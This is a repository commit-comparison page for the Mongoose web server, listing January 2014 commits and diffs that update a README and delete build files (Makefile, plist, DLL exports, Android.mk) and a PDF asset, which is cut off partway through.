Compare commits

...
100 Commits
Author SHA1 Message Date
Sergey Lyubka 7010addadb NO_AUTH -> MONGOOSE_NO_AUTH 2014-02-01 15:17:13 +00:00
Sergey Lyubka 2fc654ac35 page.lp -> dirscan.lp 2014-01-30 17:49:37 +00:00
Sergey Lyubka 45861c7890 Disabling options if functionality is not enabled 2014-01-30 14:54:02 +00:00
Sergey Lyubka 1957879e10 Casting to int in mg_sprintf() call in handle_cgi 2014-01-29 12:34:51 +00:00
Sergey Lyubka ddbe690698 CGI directory logic fixed 2014-01-29 11:42:14 +00:00
Sergey Lyubka 9ba1596c46 Closing connection after mg_send_digest_auth() 2014-01-29 01:24:21 +00:00
Sergey Lyubka de509ae952 Fix around pid_t for mingw, thanks to Jay 2014-01-28 20:09:12 +00:00
Sergey Lyubka 77817cd019 Squashed the warnings 2014-01-28 13:42:26 +00:00
Sergey Lyubka 7083bea56b mg_parse_header(): allowing no spaces for comma-separated list 2014-01-28 13:01:28 +00:00
Sergey Lyubka 3dffd7604a Removed warnings 2014-01-28 12:55:20 +00:00
Sergey Lyubka 5a67af0c73 Using 1 ms in mg_poll_server 2014-01-28 12:51:27 +00:00
Sergey Lyubka 14526a2109 mg_add_uri_handler -> mg_set_request_handler() 2014-01-28 12:42:13 +00:00
Sergey Lyubka a6cfbd2536 docs URL changed 2014-01-28 10:48:27 +00:00
Sergey Lyubka 0d28f99275 wrapped pid_t and S_ISDIR definitions into ifndef for mingw build 2014-01-27 11:12:43 +00:00
Sergey Lyubka a281e99661 calling auth handler wrapped in MONGOOSE_NO_AUTH 2014-01-27 11:10:46 +00:00
Sergey Lyubka 170df7b676 local and remote port made unsigned short 2014-01-27 11:08:32 +00:00
Sergey Lyubka 3fa5c69f98 Fixed handle_delete() stat call 2014-01-27 11:06:05 +00:00
Sergey Lyubka e31f3058fa Added test for rewrites 2014-01-27 11:03:44 +00:00
Sergey Lyubka 83a9a726d3 Checking path existence 2014-01-26 11:24:24 +00:00
Sergey Lyubka 8ae0400b0d Added ability to set "0" as listening port. Exported local_ip and local_port to the client. 2014-01-25 13:50:57 +00:00
Sergey Lyubka 037fdbcccb Ignoring chdir() return value. Resetting mg_conn in close_local_endpoint() 2014-01-25 09:45:47 +00:00
Sergey Lyubka 5d2ac4e0a6 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-24 20:50:21 +00:00
Sergey Lyubka f977757a9d Added mg_set_auth_handler() 2014-01-24 20:49:57 +00:00
Sergey Lyubka 1db13aeed5 Merge pull request #304 from xant/master
allow to define a default mime-type
2014-01-24 09:51:51 -08:00
Andrea Guzzo 956788d7de changed mg_get_mime_type to expect the default type as argument
instead of using a configuration option
2014-01-24 15:56:21 +01:00
Andrea Guzzo 45f6612096 allow to define a default mime-type to use when lookup in the internal table fails
instead of always returning 'text/plain'

To allow setting a different default mime-type the mg_get_mime_type() api has been
extended to require an mg_server parameter.

Note that using a static global as default mime type wouldn't have allowed us to
control it via a configuration option because there is not global initialization phase
and configuration options are provided (and specific) to each server instance.
This means that different servers can be configured to use a different default mime-type
(which is also a desired behaviour in many scenarios) when lookup fails.
2014-01-24 14:45:19 +01:00
Sergey Lyubka 2392156fd4 Not exiting on a wrong option, best effort to recover 2014-01-23 20:57:27 +00:00
Sergey Lyubka cf1811f8c3 Added build instruction for windows 2014-01-23 12:00:40 +00:00
Sergey Lyubka 93c5335d80 USE_POST_SIZE_LIMIT -> MONGOOSE_USE_POST_SIZE_LIMIT, and unit test added 2014-01-23 11:24:00 +00:00
Sergey Lyubka 192205b10b Added 2014-01-23 10:36:08 +00:00
Sergey Lyubka 0377eea9c5 Added enum for callback return codes 2014-01-22 18:25:05 +00:00
Sergey Lyubka ad89868564 Moved must_hide_file to under #ifndef MONGOOSE_NO_FILESYSTEM 2014-01-22 18:24:28 +00:00
Sergey Lyubka 976f286134 Made mg_connection::content_len int -> size_t, which is 64-bit on 64-bit systems 2014-01-20 20:57:21 +00:00
Sergey Lyubka 503a1a749d Added unit test for MONGOOSE_USE_SSL 2014-01-20 20:50:30 +00:00
Sergey Lyubka 45a4266172 more examples added 2014-01-20 11:21:35 +00:00
Sergey Lyubka 2ea17e8c6d Adjusted docs and makefile to use correct preproc flags 2014-01-20 11:17:09 +00:00
Sergey Lyubka 67b7d79710 Removed comment about MONGOOSE_USE_STACK_SIZE 2014-01-20 11:10:30 +00:00
Sergey Lyubka 2e35e25935 ENABLE_DBG -> MONGOOSE_ENABLE_DEBUG, USE_STACK_SIZE -> MONGOOSE_USE_STACK_SIZE 2014-01-20 11:04:12 +00:00
Sergey Lyubka d86d409d3c Preprocessor definitions prefixed by MONGOOSE_ 2014-01-20 10:54:15 +00:00
Sergey Lyubka 1109d3aa3c Guarded #define EINPROGRESS 2014-01-20 09:02:57 +00:00
Sergey Lyubka 8208d9e250 Fixed -DUSE_SSL build 2014-01-20 09:01:16 +00:00
Sergey Lyubka fdd086b11c moved discard_leading_iobuf_bytes() out from conditional 2014-01-20 08:55:34 +00:00
Sergey Lyubka 5825e3ea74 Adding use_ssl to mg_connect() 2014-01-20 08:55:03 +00:00
Sergey Lyubka 061ba99124 Using vnotify() for die() 2014-01-20 08:54:06 +00:00
Sergey Lyubka ead098f726 Setting server_name 2014-01-19 17:01:43 +00:00
Sergey Lyubka 7a129c17ba Added http client with unit tests 2014-01-19 16:32:43 +00:00
Sergey Lyubka 400084ea8a read_from_client -> read_from_socket 2014-01-17 16:58:19 +00:00
Sergey Lyubka 82ad9a073a Calling long running connections regardless of select() status 2014-01-17 16:37:35 +00:00
Sergey Lyubka 22aea8acac Better comment for websocket example 2014-01-17 16:37:05 +00:00
Sergey Lyubka 40e5c744da Calling long-running URI handlers on each poll iteration 2014-01-17 15:49:16 +00:00
Sergey Lyubka e648681f1d Moved mg_connect() 2014-01-17 15:42:35 +00:00
Sergey Lyubka 02f19fc05a Using mg_handler_t for iterate_over_connections() 2014-01-17 11:45:57 +00:00
Sergey Lyubka 7690f9e34b Fixed websocket example, and websocket callback calling logic. 2014-01-17 10:17:15 +00:00
Sergey Lyubka 65c1278975 win32 build of server.c fixed 2014-01-16 14:40:26 +00:00
Sergey Lyubka 05e1135940 Added stand-alone console executable 2014-01-16 13:53:18 +00:00
Sergey Lyubka 7b6e8fb93c Moved idle_timeout_ms into compile-time option 2014-01-16 13:23:23 +00:00
Sergey Lyubka 9f1679e900 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-15 18:05:43 +00:00
Sergey Lyubka c0af018e20 removed build dir 2014-01-15 18:02:55 +00:00
Sergey Lyubka d553ae992a Unit test moved to top 2014-01-15 17:55:39 +00:00
Sergey Lyubka 89ef8f2f30 Removed method checks for CGI 2014-01-15 11:46:05 +00:00
Sergey Lyubka 9115a99f47 Fixed scanf format in parse_port_string() 2014-01-15 11:06:37 +00:00
Sergey Lyubka bbc65c7987 put_deleve_auth_file -> dav_auth_file. added placeholders for user 2014-01-15 07:57:59 +00:00
Sergey Lyubka bac0f75dd6 int sock -> sock_t sock 2014-01-15 07:10:09 +00:00
Sergey Lyubka 6440c358c1 C++ friendliness fix 2014-01-14 23:20:23 +00:00
Sergey Lyubka 6f84c8bbfb Using unicode API for service creation 2014-01-14 21:05:35 +00:00
Sergey Lyubka 0adbfcba96 Moved send_options out of NO_DAV conditional 2014-01-14 19:28:29 +00:00
Sergey Lyubka 136c3e8200 Eat prior POST data in close_local_endpoint() 2014-01-14 13:57:55 +00:00
Sergey Lyubka 7d699ea73c Added URI handler return value 2014-01-14 13:27:00 +00:00
Sergey Lyubka fc37b08139 URI handler status code drives streaming behavior 2014-01-14 13:16:58 +00:00
Sergey Lyubka 3aaf47d4e4 Return 1 from the URI handler 2014-01-14 12:50:13 +00:00
Sergey Lyubka 346179d1f1 keep-alive for all EP_USER requests 2014-01-14 00:44:27 +00:00
Sergey Lyubka 0148bc804a Added NO_THREADS wrapper 2014-01-13 21:35:45 +00:00
Sergey Lyubka 472e198d4a Fixed mg_parse_header to allow NULL strings 2014-01-13 21:31:18 +00:00
Sergey Lyubka bf6fc3262f Added test for static config opts 2014-01-13 21:08:03 +00:00
Sergey Lyubka 53311e8d6b removed ssi tests 2014-01-13 20:39:22 +00:00
Sergey Lyubka cc636197bc Added auth example 2014-01-13 17:58:14 +00:00
Sergey Lyubka 6b4f7e785d Added upload example 2014-01-13 17:01:11 +00:00
Sergey Lyubka 73ed83c5e3 Added mg_parse_multipart 2014-01-13 16:29:12 +00:00
Sergey Lyubka 56f128514e Implemented mg_set_http_error_handler() 2014-01-13 12:17:47 +00:00
Sergey Lyubka f0571f9fd6 Using mg.request_info.content 2014-01-13 10:58:14 +00:00
Sergey Lyubka a3663da90e Exposed mg_send_digest_auth_request(). Exported conn->content to Lua 2014-01-13 10:50:26 +00:00
Sergey Lyubka f74a1e1dc2 Fixed start_process on windows to use correct interpreter 2014-01-12 07:20:53 +00:00
Sergey Lyubka 74511b42f5 Using unicode winapi to load config file 2014-01-12 07:20:12 +00:00
Sergey Lyubka 04862eec85 Added wp target 2014-01-12 07:18:29 +00:00
Sergey Lyubka 4d105386ca Better handling of non-ascii chars for windows CGIs 2014-01-11 23:17:17 +00:00
Sergey Lyubka 44a35bb5bf Removed debug statement 2014-01-11 23:15:02 +00:00
Sergey Lyubka 022c9f0d47 Handling non-ascii chars in the binary 2014-01-11 21:32:05 +00:00
Sergey Lyubka e38061970e Exposed mg_authorize_digest() 2014-01-11 16:44:37 +00:00
Sergey Lyubka a4e8dc3069 Sending status 200 to CGI by default 2014-01-11 16:18:59 +00:00
Sergey Lyubka fa4179ee53 Made clean silent 2014-01-11 16:18:29 +00:00
Sergey Lyubka a8c8cfb665 fix non-initialized comparison 2014-01-11 10:09:26 +00:00
Sergey Lyubka e0b6109214 Added -DNO_FILESYSTEM 2014-01-11 09:48:27 +00:00
Sergey Lyubka d29f849602 Fixed optional build test 2014-01-11 09:48:13 +00:00
Sergey Lyubka 848c5d753e Fixed logic for get_url_to_me 2014-01-11 03:19:46 +00:00
Sergey Lyubka 4eef5b14fb Added comment to https://github.com/cesanta/mongoose/pull/287 2014-01-10 22:48:47 +00:00
Sergey Lyubka 283af71bbf Merge pull request #287 from oli-obk/fix/last_send_data_before_shutdown
mg_printf_data was ignored if mg_destroy_server was called directly afte...
2014-01-10 14:47:00 -08:00
Sergey Lyubka ff85b802c3 Using case-insensitive string comparison for connection: keep-alive 2014-01-10 22:46:03 +00:00
Sergey Lyubka e2b42e4117 Using case-insensitive string comparison for connection: keep-alive 2014-01-10 22:43:52 +00:00
Sergey Lyubka 63909b59c5 Added __cdecl to SSL decls to make sure correct linkage with OpenSSL which is cdecl 2014-01-10 22:41:36 +00:00
Oliver Schneider 2ac231cb7e mg_printf_data was ignored if mg_destroy_server was called directly after 2014-01-10 18:38:18 +01:00
95 changed files with 1880 additions and 180831 deletions

No files matched your search

+3 -3
View File
@@ -1,8 +1,8 @@
# Mongoose Web Server # Mongoose Web Server
Mongoose is easy to use, powerful, embeddable web server. Mongoose is easy to use, powerful, embeddable web server.
* [Downloads](http://cesanta.com/#downloads) * [Downloads](http://cesanta.com/downloads.html)
* [Documentation](http://cesanta.com/#docs,Usage.md) * [Documentation](http://cesanta.com/docs.html)
* [Mailing list](http://groups.google.com/group/mongoose-users) * [Mailing list](http://groups.google.com/group/mongoose-users)
# Features # Features
@@ -11,7 +11,7 @@ Mongoose is easy to use, powerful, embeddable web server.
- CGI, SSL, Digest auth, Websocket, WEbDAV, Resumed download, URL rewrite, file blacklist, IP-based ACL, Windows service - CGI, SSL, Digest auth, Websocket, WEbDAV, Resumed download, URL rewrite, file blacklist, IP-based ACL, Windows service
- Scripting and database support ([Lua](http://lua.org) + - Scripting and database support ([Lua](http://lua.org) +
[Sqlite](http://sqlite.org), see [Sqlite](http://sqlite.org), see
[page.lp](https://github.com/cesanta/mongoose/blob/master/build/test/page.lp) ), [dirscan.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/dirscan.lp) ),
which provides ready to go, powerful web development platform in which provides ready to go, powerful web development platform in
one single-click executable with no dependencies one single-click executable with no dependencies
- Simple and clean - Simple and clean
-15
View File
@@ -1,15 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key> <string>Mongoose</string>
<key>CFBundlePackageType</key> <string>APPL</string>
<key>CFBundleTypeRole</key> <string>None</string>
<key>CFBundleIconFile</key> <string>mongoose.icns</string>
<key>LSUIElement</key> <true/>
<key>RunAtLoad</key> <true/>
<key>Label</key> <string>com.kolkin.mongoose</string>
<key>ProgramArguments</key> <array> </array>
<key>KeepAlive</key> <true/>
</dict>
</plist>
-165
View File
@@ -1,165 +0,0 @@
# This Makefile is part of Mongoose web server project,
# https://github.com/valenok/mongoose
#
# This Makefile is GNU make compatible. You can get GNU Make from
# http://gnuwin32.sourceforge.net/packages/make.htm
PROG = mongoose
EXE_SUFFIX =
CFLAGS = -std=c99 -O2 -W -Wall -pedantic -pthread -pipe -I. -I.. $(CFLAGS_EXTRA)
VERSION = $(shell perl -lne \
'print $$1 if /define\s+MONGOOSE_VERSION\s+"(\S+)"/' ../mongoose.h)
VDIR = mongoose-$(VERSION)
# Stock windows binary builds with Lua and YASSL library.
YASSL = ../../cyassl-2.4.6
YASSL_FLAGS = -I $(YASSL) -I $(YASSL)/cyassl \
-D _LIB -D OPENSSL_EXTRA -D HAVE_ERRNO_H \
-D HAVE_GETHOSTBYNAME -D HAVE_INET_NTOA -D HAVE_LIMITS_H \
-D HAVE_MEMSET -D HAVE_SOCKET -D HAVE_STDDEF_H -D HAVE_STDLIB_H \
-D HAVE_STRING_H -D HAVE_SYS_STAT_H -D HAVE_SYS_TYPES_H
YASSL_SOURCES = \
$(YASSL)/src/internal.c $(YASSL)/src/io.c $(YASSL)/src/keys.c \
$(YASSL)/src/ssl.c $(YASSL)/src/tls.c $(YASSL)/ctaocrypt/src/hmac.c \
$(YASSL)/ctaocrypt/src/random.c $(YASSL)/ctaocrypt/src/sha.c \
$(YASSL)/ctaocrypt/src/sha256.c $(YASSL)/ctaocrypt/src/logging.c \
$(YASSL)/ctaocrypt/src/error.c $(YASSL)/ctaocrypt/src/rsa.c \
$(YASSL)/ctaocrypt/src/des3.c $(YASSL)/ctaocrypt/src/asn.c \
$(YASSL)/ctaocrypt/src/coding.c $(YASSL)/ctaocrypt/src/arc4.c \
$(YASSL)/ctaocrypt/src/md4.c $(YASSL)/ctaocrypt/src/md5.c \
$(YASSL)/ctaocrypt/src/dh.c $(YASSL)/ctaocrypt/src/dsa.c \
$(YASSL)/ctaocrypt/src/pwdbased.c $(YASSL)/ctaocrypt/src/aes.c \
$(YASSL)/ctaocrypt/src/md2.c $(YASSL)/ctaocrypt/src/ripemd.c \
$(YASSL)/ctaocrypt/src/sha512.c $(YASSL)/src/sniffer.c \
$(YASSL)/ctaocrypt/src/rabbit.c $(YASSL)/ctaocrypt/src/misc.c \
$(YASSL)/ctaocrypt/src/tfm.c $(YASSL)/ctaocrypt/src/integer.c \
$(YASSL)/ctaocrypt/src/ecc.c $(YASSL)/src/ocsp.c $(YASSL)/src/crl.c \
$(YASSL)/ctaocrypt/src/hc128.c $(YASSL)/ctaocrypt/src/memory.c
TINY_SOURCES = ../mongoose.c main.c
LUA_SOURCES = $(TINY_SOURCES) lua_5.2.1.c
LUA_SQLITE_SOURCES = $(LUA_SOURCES) sqlite3.c lsqlite3.c
BIG_SOURCES = $(TINY_SOURCES) lua_5.2.1.c sqlite3.c lsqlite3.c $(YASSL_SOURCES)
SQLITE_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-DSQLITE_ENABLE_FTS3_PARENTHESIS
LUA_FLAGS = -DUSE_LUA
LUA_SQLITE_FLAGS = $(SQLITE_FLAGS) $(LUA_FLAGS) -DUSE_LUA_SQLITE3
BIG_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-DSQLITE_ENABLE_FTS3_PARENTHESIS \
-DUSE_LUA -DUSE_LUA_SQLITE3 -DUSE_SSL -DUSE_CYASSL $(YASSL_FLAGS)
# Using Visual Studio 6.0. To build Mongoose:
# Set MSVC variable below to where VS 6.0 is installed on your system
# Run "PATH_TO_VC6\bin\nmake windows"
MSVC = ../../vc6
#DBG = /Zi /Od
DBG = /DNDEBUG /O1 $(CFLAGS_EXTRA)
CL = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /W3 /I$(MSVC)/include /I.. /I.
LINK_FLAGS = /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \
user32.lib shell32.lib comdlg32.lib ws2_32.lib advapi32.lib
LINK = $(MSVC)/bin/link $(LINK_FLAGS)
ifeq ($(OS), Windows_NT)
EXE_SUFFIX = .exe
else
UNAME_S := $(shell uname -s)
ifeq ($(UNAME_S), Linux)
CFLAGS += -ldl -lm
endif
endif
all: mongoose$(EXE_SUFFIX)
# Make sure that the compiler flags come last in the compilation string.
# If not so, this can break some on some Linux distros which use
# "-Wl,--as-needed" turned on by default in cc command.
# Also, this is turned in many other distros in static linkage builds.
$(PROG): $(TINY_SOURCES)
$(CC) $(TINY_SOURCES) -o $@ $(CFLAGS)
$(PROG)-lua: $(TINY_SOURCES) $(LUA_SOURCES)
$(CC) $(LUA_SOURCES) -o $@ $(LUA_FLAGS) $(CFLAGS)
$(PROG)-lua-sqlite: $(LUA_SQLITE_SOURCES)
$(CC) $(LUA_SQLITE_SOURCES) -o $@ $(LUA_SQLITE_FLAGS) $(CFLAGS)
$(PROG)-lua-sqlite-ssl: $(BIG_SOURCES)
$(CC) $(BIG_SOURCES) -o $@ $(BIG_FLAGS) $(CFLAGS)
$(PROG)-big: $(BIG_SOURCES)
$(CC) $(BIG_SOURCES) -o $@ $(CFLAGS) $(BIG_FLAGS)
unix_unit_test: $(LUA_SOURCES) Makefile ./test/unit_test.c
$(CC) ./test/unit_test.c lua_5.2.1.c $(CFLAGS) -g -O0 -o t && ./t
# Windows build
$(PROG)-lua-sqlite.exe: $(LUA_SQLITE_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(LUA_SQLITE_SOURCES) $(LUA_SQLITE_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG)-lua-sqlite-ssl.exe: $(BIG_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(BIG_SOURCES) $(BIG_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG)-lua.exe: $(LUA_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(LUA_SOURCES) $(LUA_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG).exe: $(TINY_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(TINY_SOURCES) /link $(LINK_FLAGS) res.res /out:$@
$(PROG).dll: $(TINY_SOURCES) Makefile
$(CL) ../mongoose.c /Gz /link $(LINK_FLAGS) /DLL /DEF:dll.def /out:$@
# This is broken now due to SSL exclusion
windows_unit_test.exe: ../mongoose.c Makefile
$(CL) ./test/unit_test.c lua_5.2.1.c \
/link /libpath:$(MSVC)/lib advapi32.lib /out:$@
./$@
# MacOS build with Cocoa GUI
# For codesign to work in non-interactive mode, unlock login keychain:
# security unlock ~/Library/Keychains/login.keychain
# See e.g. http://lists.apple.com/archives/apple-cdsa/2008/Jan/msg00027.html
macos: $(BIG_SOURCES)
DIR=dmg/Mongoose.app
rm -rf dmg
mkdir -p dmg/Mongoose.app/Contents/{MacOS,Resources}
install -m 644 *.icns *.png dmg/Mongoose.app/Contents/Resources/
install -m 644 Info.plist dmg/Mongoose.app/Contents/
$(CC) $(BIG_SOURCES) \
-DUSE_COCOA $(CFLAGS) $(BIG_FLAGS) -mmacosx-version-min=10.4 \
-framework Cocoa -ObjC -arch i386 -arch x86_64 \
-o dmg/Mongoose.app/Contents/MacOS/Mongoose
ln -fs /Applications dmg/
hdiutil create Mongoose-$(VERSION).dmg -volname "Mongoose $(VERSION)" \
-srcfolder dmg -ov
#rm -rf dmg
tests:
perl ./test/test.pl $(TEST)
tarball: clean
rm -rf $(VDIR)
install -d $(VDIR) $(VDIR)/docs $(VDIR)/examples
install -m 644 ../{LICENSE,README.md,mongoose.[ch]} $(VDIR)
install -m 644 ../docs/*.md $(VDIR)/docs
install -m 644 ../examples/{Makefile,*.c} $(VDIR)/examples
tar -czf $(VDIR).tgz $(VDIR)
release: tarball macos
wine make mongoose.exe mongoose-lua-sqlite-ssl.exe
upx mongoose.exe
upx mongoose-lua-sqlite-ssl.exe
cp mongoose.exe mongoose-$(VERSION).exe
cp mongoose-lua-sqlite-ssl.exe mongoose-lua-sqlite-ssl-$(VERSION).exe
cp mongoose-lua-sqlite-ssl.exe mongoose_php_bundle/mongoose.exe
zip -r mongoose-php-$(VERSION).zip mongoose_php_bundle/
clean:
cd ../examples && $(MAKE) clean
rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz \
$(PROG).exe *.dll *.lib res.o res.RES *.dSYM *.zip *.pdb \
*.exe *dmg* $(PROG)-* unix_unit_test
-19
View File
@@ -1,19 +0,0 @@
LIBRARY
EXPORTS
mg_start
mg_stop
mg_read
mg_write
mg_printf
mg_get_header
mg_get_var
mg_get_cookie
mg_get_option
mg_get_valid_option_names
mg_version
mg_modify_passwords_file
mg_md5
mg_upload
mg_download
mg_send_file
mg_get_builtin_mime_type
-12
View File
@@ -1,12 +0,0 @@
LOCAL_PATH := $(call my-dir)/../..
include $(CLEAR_VARS)
# To build with lua support, uncomment two lines below:
#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
LOCAL_MODULE := mongoose
LOCAL_SRC_FILES := build/main.c mongoose.c $(LUA_SOURCES)
include $(BUILD_EXECUTABLE)
-1883
View File
File diff suppressed because it is too large. Load diff
-17698
View File
File diff suppressed because it is too large. Load diff
-1251
View File
File diff suppressed because it is too large. Load diff
-1073
View File
File diff suppressed because it is too large. Load diff
-589
View File
@@ -1,589 +0,0 @@
%PDF-1.5␍%âãÏÓ
1 0 obj␍<</Metadata 2 0 R/OCProperties<</D<</ON[5 0 R]/Order 6 0 R/RBGroups[]>>/OCGs[5 0 R]>>/Pages 3 0 R/Type/Catalog>>␍endobj␍2 0 obj␍<</Length 16195/Subtype/XML/Type/Metadata>>stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 ">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/">
<xmp:CreatorTool>Adobe Illustrator CS6 (Windows)</xmp:CreatorTool>
<xmp:CreateDate>2013-01-02T17:27:47+01:00</xmp:CreateDate>
<xmp:ModifyDate>2013-01-02T17:27:47Z</xmp:ModifyDate>
<xmp:MetadataDate>2013-01-02T17:27:47Z</xmp:MetadataDate>
<xmp:Thumbnails>
<rdf:Alt>
<rdf:li rdf:parseType="Resource">
<xmpGImg:width>256</xmpGImg:width>
<xmpGImg:height>228</xmpGImg:height>
<xmpGImg:format>JPEG</xmpGImg:format>
<xmpGImg:image>/9j/4AAQSkZJRgABAgEASABIAAD/7QAsUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAASAAAAAEA&#xA;AQBIAAAAAQAB/+4ADkFkb2JlAGTAAAAAAf/bAIQABgQEBAUEBgUFBgkGBQYJCwgGBggLDAoKCwoK&#xA;DBAMDAwMDAwQDA4PEA8ODBMTFBQTExwbGxscHx8fHx8fHx8fHwEHBwcNDA0YEBAYGhURFRofHx8f&#xA;Hx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8f/8AAEQgA5AEAAwER&#xA;AAIRAQMRAf/EAaIAAAAHAQEBAQEAAAAAAAAAAAQFAwIGAQAHCAkKCwEAAgIDAQEBAQEAAAAAAAAA&#xA;AQACAwQFBgcICQoLEAACAQMDAgQCBgcDBAIGAnMBAgMRBAAFIRIxQVEGE2EicYEUMpGhBxWxQiPB&#xA;UtHhMxZi8CRygvElQzRTkqKyY3PCNUQnk6OzNhdUZHTD0uIIJoMJChgZhJRFRqS0VtNVKBry4/PE&#xA;1OT0ZXWFlaW1xdXl9WZ2hpamtsbW5vY3R1dnd4eXp7fH1+f3OEhYaHiImKi4yNjo+Ck5SVlpeYmZ&#xA;qbnJ2en5KjpKWmp6ipqqusra6voRAAICAQIDBQUEBQYECAMDbQEAAhEDBCESMUEFURNhIgZxgZEy&#xA;obHwFMHR4SNCFVJicvEzJDRDghaSUyWiY7LCB3PSNeJEgxdUkwgJChgZJjZFGidkdFU38qOzwygp&#xA;0+PzhJSktMTU5PRldYWVpbXF1eX1RlZmdoaWprbG1ub2R1dnd4eXp7fH1+f3OEhYaHiImKi4yNjo&#xA;+DlJWWl5iZmpucnZ6fkqOkpaanqKmqq6ytrq+v/aAAwDAQACEQMRAD8A9U4q7FXYq7FXYq7FXYq7&#xA;FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FVsssUUbSyuscSAs7sQqqo3JJPQDFWOL+ZXk&#xA;Rrj6uNat/UrTkSQn/Iwjh+OR4wx4wyG3ube4iEtvKk0TfZkjYMp+RFRkmSpirsVYj+ZvnFfLPl2R&#xA;4XA1O8rDYr3BI+KT5IPxpkJyoMJyoI38vbs3fknRZmbkwtY4yx3NYh6f/GuGPJMeTIckydirsVdi&#xA;rsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVeG/nX55mutQby3YSlbO1I+v&#xA;lD/eTdfTNP2Y+4/m+WUZJdGnJLoiX/Lfybo/5fxavr31prq4SCWS4t6c4WnA4osbHgVUt8Vdz2pj&#xA;wgCyvAAN3nd9aW1gzXGiayLmDvx9S1uFB2AaNqBuv7DNkGs+SyHzf5sh/utavkFa0W5mA29uWPEV&#xA;4ijI/wAxfPMYIXW7o1/mfl/xKuHjKeMpbrfmLW9cnjn1a7e7liT042eg4rWuwUAfTgJJQSS9/wDy&#xA;ZufW/L+xStTBJPEf+RrOPwfL8fJvx8mb5Nm7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7&#xA;FXYq7FXYq7FXYq7FUr8063Hofl6/1V6H6rEWjU9GkPwxqf8AWdgMEjQRI0Hy9pdhqHmHX4LRGMt7&#xA;qM/xyHclnPJ5G+QqxzF5uMBZer/n3fww6bpek290EKsXmsFO5jVQsbt7KQQK9foy3IejblLxbKml&#xA;2KuxV2KvWvyR8721lI3lq9pGl1KZbGc7fvWAUxN/rcRx99u4y3HLo245dHtuXNzsVdirsVdirsVd&#xA;irsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVeffnjfRQeSGt2I53lxFGi9/gJkJ/4TK8&#xA;h2a8h2Yl+TWn6RpNrdebNauYrSM8rawaZgtQN5XUHdidlFPfIY6G5Y4xW5YP5+vtM1DzZf32m3cl&#xA;7aXL+ok0oYEEihQc6HitKL7ZCXNhI7sewMUw0bQNZ1q5a30u0e6lQcnCUAVfFmYhVHzOICQCUZfe&#xA;SPNVlA9xNp0j28ZIkngKXEakdeTwmRRT3ONJMCEjxYqlupaZaMU4/EXHUBRyJHuAMVfR35U+cbjz&#xA;L5ff63ve2DiCaQmpkUrVHbp8RGx9xmRCVhyISsM1ybN2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2Ku&#xA;xV2KuxV2KuxV2KuxV2KuxV87/nF5wi13zAtlZvz0/S+USOD8LzMf3jj2FAo+Ve+Y+SVlx8krLAmd&#xA;2ChmJCiigmtBWtBkGC3FXYqyifzCLv8AK++8qaYq2GryTJK8wf0xexcqvG0jEBWApsTxYCnU0MMt&#xA;mFDm5OCYB3Tb/nHLyP590bzNdahqNpPpujPbFJYriqCeRipj4xk78dzzp7d8r0eKYlZ2DlZZAhEf&#xA;nXp3ly18wRzaXNEL2YN+kbOL9hxTi54/CrPXcde/fMrIBezgZALedxuyOrrsykEfRkGt67+QV2qa&#xA;nq1on93cwxzotfsmFirD/ksPwy3EW3E9oy5udirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsV&#xA;dirsVdirsVdiryD80PzahWGbQ/LsweVwY7zUIzVVU7FIWHUnuw6dt9xVOfQNU59A8XylpdirsVdi&#xA;rsVTy287+bbXTf0Zb6rcRWQHFYlehVT+yrfaUewOHiLLiKSMxYlmJLE1JPUnAxZ9+UXkjSvM2o3s&#xA;mqgyWlgkZ+rKxTm8palWUhuICHofDJwjZbMcbet6f+XuheX9QXVtAhktpkHCe2EjyRywtTmtJC7c&#xA;h9pd+op0y3grcNoiByZbk2TsVdirsVdirsVdirsVdirsVdirsVdirsVdirH9Z8/eT9HLJfapCsq7&#xA;NDGTNID4FIw5H05EyAYmQDDtR/P7y9CzLYafc3ZHRpCkKk+3941PmMgcoYHKEof/AJyFuix4aGgX&#xA;sDcEn7/TGDxUeK0v/OQt3yHLRIytdwLgg0+fpnHxV8VHW3/OQmn